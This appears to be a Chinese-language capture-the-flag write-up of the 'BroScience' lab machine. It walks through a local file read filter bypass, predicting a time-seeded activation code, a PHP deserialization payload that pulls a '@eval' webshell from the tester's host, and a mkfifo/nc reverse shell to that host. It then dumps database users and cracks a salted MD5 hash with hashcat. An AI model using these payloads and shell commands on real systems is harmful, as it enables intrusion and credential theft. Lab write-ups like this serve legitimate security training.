OverView
考点:PHP 代码审计、PostgreSQL 登录、HashCat 破解、Pspy 检测进程 UID
Enumeration
Namp Scan
──(shule㉿shule)-[~/桌面]
└─$ nmap -sC -sV 10.129.123.146
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-08 11:41 CST
Nmap scan report for 10.129.123.146
Host is up (0.54s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1384.17 seconds
简单的翻看网站发现几个页面,产生一些思路并简单测试
/index.php
/login.php 考虑 SQL 注入/ 密码爆破 也是不行的
/exercise.php?id=1 考虑 SQL 注入 失败
/user.php?id=3 考虑 SQL 注入
/register.php 注册功能,但是没有邮箱注册不了
LFR(Local File Read)
/includes/img.php?path=bench.png , 发现存在过滤,用双层 url 编码可以绕过。
想尝试通过 img.php 读取其他 php 代码,但是不知道路径,也想不通 png 的位置。于是便用 dirsearch 进行扫描
扫到了 /img 这个文件夹
还扫到了 /includes 这个目录
扫到了 /img 这个文件夹
于是就将几乎能知道的 php 文件均读取下来,发现 img.php 实际上是 file_get_contents 函数而不是 include
img.php
<?php
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
// Check for LFI attacks
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
// Normalize path
$path = urldecode($path);
// Return the image
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
?>
通过读取 img.php 的同时也知道了绝对路径,继续读取其他文件发现 sql 操作均用了预处理。并且通过读取 db_connect.php 可以知道是 PostgreSQL ,以及一些用户名密码和数据库信息
db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";
$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");
if (!$db_conn) {
die("<b>Error</b>: Unable to connect to database");
}
?>
但是远程是无法连接的,先把这个信息放在这里。
Code Audit
读取到 utils.php 的时候发现危险操作类,可以写文件
而且还发现了反序列化函数
寻址调用了 get_theme 函数的地方,发现 index.php 文件中存在
但是要满足反序列化条件,进入到 if 语句中需要满足isset($_SESSION['id'])
也就是说,至少要登录到一个用户上面才行
login.php
<?php
session_start();
// Check if user is logged in already
if (isset($_SESSION['id'])) {
header('Location: /index.php');
}
// Handle a submitted log in form
if (isset($_POST['username']) && isset($_POST['password'])) {
// Check if variables are empty
if (!empty($_POST['username']) && !empty($_POST['password'])) {
include_once 'includes/db_connect.php';
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
if (pg_num_rows($res) == 1) {
// Check if account is activated
$row = pg_fetch_row($res);
if ((bool)$row[2]) {
// User is logged in
$_SESSION['id'] = $row[0];
$_SESSION['username'] = $row[1];
$_SESSION['is_admin'] = $row[3];
...
....
但是在 register.php 中是需要邮箱验证码的,很明显在靶机里面我们难以做出一个邮箱能够接收到验证码。
但是可以发现想要验证通过只需要访问 https://broscience.htb/activate.php?code={$activation_code}
而 $activation_code
又是由 utils.php 中的 generate_activation_code 函数生成的。
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(time());
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
发现 srand(time())
中的时间也是可控的,我们可以在 Burp Suite 的 Repeat 模块中看到响应包的时间。因此实际上我们可以用这个函数生成验证码进行注册。
<?php
function generate_activation_code() {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand(strtotime("Thu, 12 Jan 2023 07:30:57 GMT"));
$activation_code = "";
for ($i = 0; $i < 32; $i++) {
$activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
}
return $activation_code;
}
echo generate_activation_code();
?>
然后访问 https://broscience.htb/activate.php?code=BlVvaTrExa9Hl3JXMW6GmGtDADdu3x8o 即可完成注册
Foothold
用这个用户登录以后,直接在 index.php 的 Cookie 中将 user-prefs 替换成我们生成的 Payload
<?php
class Avatar {
public $imgPath;
public function __construct($imgPath) {
$this->imgPath = $imgPath;
}
public function save($tmp) {
$f = fopen($this->imgPath, "w");
fwrite($f, file_get_contents($tmp));
fclose($f);
}
}
class AvatarInterface {
public $tmp;
public $imgPath;
public function __wakeup() {
$a = new Avatar($this->imgPath);
$a->save($this->tmp);
}
}
$avatarInterface = new AvatarInterface;
$avatarInterface->tmp = "http://10.10.16.6:6699/a.txt";
$avatarInterface->imgPath = "/var/www/html/shule.php";
$a = serialize($avatarInterface);
echo base64_encode($a);
因为 file_get_contents 是打开一个文件并写入,本地没有什么好利用的文件内容,经过测试发现可以远程读写。
因此准备一个 a.txt,内容如下:
<?php
@eval($POST[1]);
?>
替换,发送数据包
访问成功,然后用哥斯拉进行连接,命令执行反弹 shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.6 1337 >/tmp/f
简单的翻找文件发现并没有可以利用的地方,于是想起之前读取到的数据库密码等内容
PSQL Enumeration
尝试连接数据库
psql -h localhost -p 5432 -U dbuser -d broscience
执行一下 SQL 命令
select * from users;
root.txt
前面我们查看了 /etc/passwd 发现有 bill 这个用户,因此尝试破解 bill 的密码
bill | 13edad4932da9dbb57d9cd15b66ed104
而通过之前读取源码可以知道 salt 是 NaCl 且 密码是这样生成的
md5($db_salt . $_POST['password'])
先将字典前面加上个 NaCl
sed 's/^/NaCl/' /usr/share/wordlists/rockyou.txt > new_wordlist.txt
然后跑一下 hashcat
hashcat -m 0 hash.txt -a 0 new_wordlist.txt
很快就得到结果了
NaCliluvhorsesandgym
ssh 进行连接
ssh [email protected]
直接成功
接下来又到了提权时间了,但是我不会了,看了别人的题解才发现原来有 https://github.com/DominicBreuker/pspy pspy 这个工具,可以查看各个进程的 UID 值。然后发现问题进行提权。但是我遇到靶机上面用这种方法失效了
结束.